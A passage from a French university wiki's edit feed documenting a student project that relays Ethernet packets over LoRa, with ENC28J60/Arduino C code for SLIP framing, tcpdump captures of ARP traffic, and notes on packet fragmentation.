[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ether.png&amp;diff=39331</id>
		<title>Fichier:Ether.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ether.png&amp;diff=39331"/>
				<updated>2017-02-19T21:43:24Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39330</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39330"/>
				<updated>2017-02-19T21:43:04Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Module ENC28J60 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
